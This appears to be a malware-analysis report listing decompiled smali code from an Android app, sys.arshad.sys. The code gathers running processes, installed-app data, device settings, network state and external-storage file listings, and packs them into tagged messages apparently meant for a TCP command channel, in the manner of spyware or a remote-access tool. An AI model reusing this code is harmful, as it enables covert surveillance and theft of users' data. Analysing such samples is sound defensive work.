176const-string v2, "<<<<<<<<<<<<<<<<<<<<<"
178invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <<<<<<<<<<<<<<<<<<<<<
179move-result-object v1
181invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
182move-result-object v1
184invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
185new-instance v0, Ljava/lang/String;
187invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/StringBuffer;)V
189iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
191iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
192new-instance v2, Ljava/lang/StringBuilder;
194invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
196const-string v3, "B14:::"
198invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B14:::
199move-result-object v2
201invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
202move-result-object v0
204const-string v2, "[(0)tcp]"
206invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
207move-result-object v0
209iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
211iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
213iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
215invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
216move-result-object v0
218invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
219move-result-object v0
221invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
222goto_126: return-void
223cond_127: new-instance v3, Ljava/lang/StringBuffer;
225invoke-direct {v3}, Ljava/lang/StringBuffer;-><init>()V
227iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
229iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
231const-string v1, "activity"
233invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: activity
234move-result-object v0
235check-cast v0, Landroid/app/ActivityManager;
237invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
238move-result-object v0
240invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
241move-result-object v4
242goto_140:
243invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
244move-result v0
245if-eqz v0, :cond_1cf
247invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
248move-result-object v0
249check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
251iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
253iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
255invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
256move-result-object v1
258invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
259try_end_157: move-result-object v5
260try_start_158:
261const-string v1, ""
263iget-object v1, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
264const/4 v2, 0x0
266invoke-virtual {v5, v1, v2}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 0
267move-result-object v2
269const-string v1, "no system package"
270iget v2, v2, Landroid/content/pm/ApplicationInfo;->flags:I
271and-int/lit8 v2, v2, 0x1
272if-eqz v2, :cond_203
274const-string v1, "system package"
275move-object v2, v1
276goto_16c:
277iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
279iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
281invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
282move-result-object v1
284iget-object v6, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
285const/4 v7, -0x1
287invoke-virtual {v1, v6, v7}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
288move-result-object v1
289new-instance v6, Ljava/io/File;
291iget-object v1, v1, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
293invoke-direct {v6, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
295invoke-virtual {v6}, Ljava/io/File;->length()J
296move-result-wide v6
298iget-object v1, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
299const/16 v8, 0x80
301invoke-virtual {v5, v1, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 128
302move-result-object v1
304invoke-virtual {v5, v1}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
305move-result-object v1
306check-cast v1, Ljava/lang/String;
307new-instance v5, Ljava/lang/StringBuilder;
309invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
311invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
312move-result-object v1
314const-string v5, "[(0)sp]"
316invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
317move-result-object v1
319iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
321invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
322move-result-object v0
324const-string v1, "[(0)sp]"
326invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
327move-result-object v0
329invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
330move-result-object v0
332const-string v1, "[(0)sp]"
334invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
335move-result-object v0
337invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
338move-result-object v0
340const-string v1, "[(0)Ln]"
342invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
343move-result-object v0
345invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
346move-result-object v0
348invoke-virtual {v3, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
349try_end_1ca: goto/16 :goto_140
350catch_1cc: move-exception v0
351goto/16 :goto_140
352try_start_1cf: new-instance v0, Ljava/lang/String;
354invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/StringBuffer;)V
356iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
358iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
359new-instance v2, Ljava/lang/StringBuilder;
361invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
363const-string v3, "B14:::"
365invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B14:::
366move-result-object v2
368invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
369move-result-object v0
371const-string v2, "[(0)tcp]"
373invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
374move-result-object v0
376iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
378iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
380iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
382invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
383move-result-object v0
385invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
386move-result-object v0
388invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
389try_end_1fe: goto/16 :goto_126
390catch_200: move-exception v0
391goto/16 :goto_126
392cond_203: move-object v2, v1
393goto/16 :goto_16c
APIs
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.provider.Settings$System.getInt
  • java.io.PrintStream.println
  • sys.arshad.sys.MainActivity.getSystemService
  • android.media.AudioManager.getStreamMaxVolume
  • android.media.AudioManager.getStreamVolume
  • android.media.AudioManager.getStreamMaxVolume
  • android.media.AudioManager.getStreamVolume
  • android.media.AudioManager.getStreamMaxVolume
  • android.media.AudioManager.getStreamVolume
  • android.media.AudioManager.getStreamMaxVolume
  • android.media.AudioManager.getStreamVolume
  • android.media.AudioManager.getRingerMode
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.provider.Settings$System.getString
  • sys.arshad.sys.MainActivity.getSystemService
  • android.net.ConnectivityManager.getNetworkInfo
  • android.net.NetworkInfo.isConnected
  • java.util.Locale.getDefault
  • java.util.Locale.getDisplayLanguage
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • android.provider.Settings$SettingNotFoundException.printStackTrace
Strings
  • screen_brightness
  • audio
  • screen_off_timeout
  • connectivity
  • -1
  • 1
  • [(0)sp]
  • B13:::
  • [(0)tcp]
Position Instruction Meta Information
0const/4 v3, 0x0
1try_start_1: move-object/from16 v0, p0
3iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
5iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
7invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
8move-result-object v2
10const-string v4, "screen_brightness"
12invoke-static {v2, v4}, Landroid/provider/Settings$System;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: screen_brightness
13move-result v3
15sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
17invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(I)V
18try_end_16: move v6, v3
19goto_17: move-object/from16 v0, p0
21iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
23iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
25const-string v3, "audio"
27invoke-virtual {v2, v3}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
28move-result-object v2
29check-cast v2, Landroid/media/AudioManager;
30const/4 v3, 0x1
32invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamMaxVolume(I)I
  • Data flow analysis:
    • streamType: 1
33move-result v7
34const/4 v3, 0x1
36invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
  • Data flow analysis:
    • streamType: 1
37move-result v8
38const/4 v3, 0x3
40invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamMaxVolume(I)I
  • Data flow analysis:
    • streamType: 3
41move-result v9
42const/4 v3, 0x3
44invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
  • Data flow analysis:
    • streamType: 3
45move-result v10
46const/4 v3, 0x2
48invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamMaxVolume(I)I
  • Data flow analysis:
    • streamType: 2
49move-result v11
50const/4 v3, 0x2
52invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
  • Data flow analysis:
    • streamType: 2
53move-result v12
54const/4 v3, 0x5
56invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamMaxVolume(I)I
  • Data flow analysis:
    • streamType: 5
57move-result v13
58const/4 v3, 0x5
60invoke-virtual {v2, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
  • Data flow analysis:
    • streamType: 5
61move-result v14
63invoke-virtual {v2}, Landroid/media/AudioManager;->getRingerMode()I
64move-result v3
65const/4 v4, 0x2
66if-ne v3, v4, :cond_180
67const/4 v3, 0x1
68move v5, v3
69goto_56:
70invoke-virtual {v2}, Landroid/media/AudioManager;->getRingerMode()I
71move-result v3
72if-nez v3, :cond_184
73const/4 v3, 0x1
74move v4, v3
75goto_5e:
76invoke-virtual {v2}, Landroid/media/AudioManager;->getRingerMode()I
77move-result v2
78const/4 v3, 0x1
79if-ne v2, v3, :cond_188
80const/4 v2, 0x1
81move v3, v2
82goto_67: move-object/from16 v0, p0
84iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
86iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
88invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
89move-result-object v2
91const-string v15, "screen_off_timeout"
93invoke-static {v2, v15}, Landroid/provider/Settings$System;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: screen_off_timeout
94move-result-object v15
95move-object/from16 v0, p0
97iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
99iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
101const-string v16, "connectivity"
102move-object/from16 v0, v16
104invoke-virtual {v2, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: connectivity
105move-result-object v2
106check-cast v2, Landroid/net/ConnectivityManager;
107const/16 v16, 0x1
108move/from16 v0, v16
110invoke-virtual {v2, v0}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
  • Data flow analysis:
    • networkType: 1
111move-result-object v2
113const-string v16, "-1"
115invoke-virtual {v2}, Landroid/net/NetworkInfo;->isConnected()Z
116move-result v2
117if-eqz v2, :cond_18c
119const-string v2, "1"
120goto_99:
121invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
122move-result-object v16
124invoke-virtual/range {v16 .. v16}, Ljava/util/Locale;->getDisplayLanguage()Ljava/lang/String;
125move-result-object v16
127const-string v17, "[(0)sp]"
128new-instance v18, Ljava/lang/StringBuilder;
130invoke-direct/range {v18 .. v18}, Ljava/lang/StringBuilder;-><init>()V
131move-object/from16 v0, v18
132move-object/from16 v1, v17
134invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
135move-result-object v18
136move-object/from16 v0, v18
138invoke-virtual {v0, v11}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
139move-result-object v11
140move-object/from16 v0, v17
142invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
143move-result-object v11
145invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
146move-result-object v11
147move-object/from16 v0, v17
149invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
150move-result-object v11
152invoke-virtual {v11, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
153move-result-object v9
154move-object/from16 v0, v17
156invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
157move-result-object v9
159invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
160move-result-object v9
161move-object/from16 v0, v17
163invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
164move-result-object v9
166invoke-virtual {v9, v13}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
167move-result-object v9
168move-object/from16 v0, v17
170invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
171move-result-object v9
173invoke-virtual {v9, v14}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
174move-result-object v9
175move-object/from16 v0, v17
177invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
178move-result-object v9
180invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
181move-result-object v7
182move-object/from16 v0, v17
184invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
185move-result-object v7
187invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
188move-result-object v7
189move-object/from16 v0, v17
191invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
192move-result-object v7
193move-object/from16 v0, v16
195invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
196move-result-object v7
197move-object/from16 v0, v17
199invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
200move-result-object v7
202invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
203move-result-object v6
204move-object/from16 v0, v17
206invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
207move-result-object v6
209invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
210move-result-object v5
211move-object/from16 v0, v17
213invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
214move-result-object v5
216invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
217move-result-object v4
218move-object/from16 v0, v17
220invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
221move-result-object v4
223invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 1
224move-result-object v3
225move-object/from16 v0, v17
227invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
228move-result-object v3
230invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 1
231move-result-object v2
232move-object/from16 v0, v17
234invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
235move-result-object v2
237invoke-virtual {v2, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
238move-result-object v2
240invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
241move-result-object v2
242if-eqz v2, :cond_178
243move-object/from16 v0, p0
245iget-object v3, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
247iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
248new-instance v4, Ljava/lang/StringBuilder;
250invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
252const-string v5, "B13:::"
254invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B13:::
255move-result-object v4
257invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
258move-result-object v2
260const-string v4, "[(0)tcp]"
262invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
263move-result-object v2
264move-object/from16 v0, p0
266iget-object v4, v0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
268iget-object v4, v4, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
270iget-object v4, v4, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
272invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
273move-result-object v2
275invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
276move-result-object v2
278invoke-virtual {v3, v2}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
279cond_178: return-void
280catch_179: move-exception v2
282invoke-virtual {v2}, Landroid/provider/Settings$SettingNotFoundException;->printStackTrace()V
283move v6, v3
284goto/16 :goto_17
285cond_180: const/4 v3, 0x0
286move v5, v3
287goto/16 :goto_56
288cond_184: const/4 v3, 0x0
289move v4, v3
290goto/16 :goto_5e
291cond_188: const/4 v2, 0x0
292move v3, v2
293goto/16 :goto_67
294cond_18c:
295const-string v2, "-1"
296try_end_18e: goto/16 :goto_99
297catch_190: move-exception v2
298goto/16 :goto_178
APIs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.lang.StringBuilder.<init>
  • java.io.File.getPath
  • java.io.File.<init>
  • java.io.File.isDirectory
  • java.io.File.list
  • java.util.Arrays.asList
  • java.util.Collections.sort
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.io.File.getPath
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • sys.arshad.sys.MainActivity.l
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • /public
  • /public/M
  • /
  • [(0)sp]
  • [(0)Ln]
  • B19:::
  • [(1)sp]
  • K
  • [(0)tcp]
  • B19:::No activation of property[(0)tcp]
Position Instruction Meta Information
0new-instance v0, Ljava/io/File;
1new-instance v1, Ljava/lang/StringBuilder;
3invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
5invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
6move-result-object v2
8invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
9move-result-object v2
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v1
14const-string v2, "/public"
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
24invoke-virtual {v0}, Ljava/io/File;->exists()Z
25move-result v1
26if-nez v1, :cond_29
28invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
29cond_29: new-instance v0, Ljava/io/File;
30new-instance v1, Ljava/lang/StringBuilder;
32invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
34invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
35move-result-object v2
37invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
38move-result-object v2
40invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v1
43const-string v2, "/public/M"
45invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/M
46move-result-object v1
48invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
49move-result-object v1
51invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
52new-instance v1, Ljava/lang/StringBuilder;
54invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
56invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
57move-result-object v2
58new-instance v3, Ljava/io/File;
60invoke-direct {v3, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
62invoke-virtual {v3}, Ljava/io/File;->isDirectory()Z
63move-result v4
64if-eqz v4, :cond_10c
66invoke-virtual {v3}, Ljava/io/File;->list()[Ljava/lang/String;
67move-result-object v3
69invoke-static {v3}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
70move-result-object v3
72invoke-static {v3}, Ljava/util/Collections;->sort(Ljava/util/List;)V
74invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
75move-result-object v3
76goto_6c:
77invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
78move-result v4
79if-eqz v4, :cond_b7
81invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
82move-result-object v4
83new-instance v5, Ljava/lang/StringBuilder;
85invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
87invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v5
90const-string v6, "/"
92invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
93move-result-object v5
95invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
96move-result-object v5
98invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
99move-result-object v5
100new-instance v6, Ljava/io/File;
102invoke-direct {v6, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
104invoke-virtual {v6}, Ljava/io/File;->length()J
105move-result-wide v6
106new-instance v5, Ljava/lang/StringBuilder;
108invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
110invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
111move-result-object v4
113const-string v5, "[(0)sp]"
115invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
116move-result-object v4
118invoke-virtual {v4, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
119move-result-object v4
121const-string v5, "[(0)Ln]"
